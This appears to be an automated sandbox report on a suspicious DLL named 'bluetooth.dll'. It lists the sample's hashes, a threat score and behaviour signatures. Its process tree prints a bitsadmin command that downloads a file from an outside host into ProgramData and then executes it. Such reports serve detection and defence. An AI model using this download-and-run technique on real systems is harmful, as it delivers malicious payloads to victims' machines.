Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 18:24

General

  • Target
    bluetooth.dll
  • Size 42KB
  • Sample260910-w2bhbatglb
  • SHA256 d0ee008d3c480d5f9f75332851ae94373158c13541f3c88be63465b975334e0a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\bluetooth.dll,#1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Windows\system32\bitsadmin.exe
      bitsadmin /transfer mydownloadjob /download /priority normal "http://ultraflavors.com/winocb.txt" "C:\ProgramData\winocb.txt"
      2⤵
      • Download via BitsAdmin
      PID:4876
    • C:\ProgramData\winocb.txt
      C:\ProgramData\winocb.txt 0
      2⤵
        PID:2356

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          memory/2880-0-0x00007FFAAE8B0000-0x00007FFAAE8C2000-memory.dmp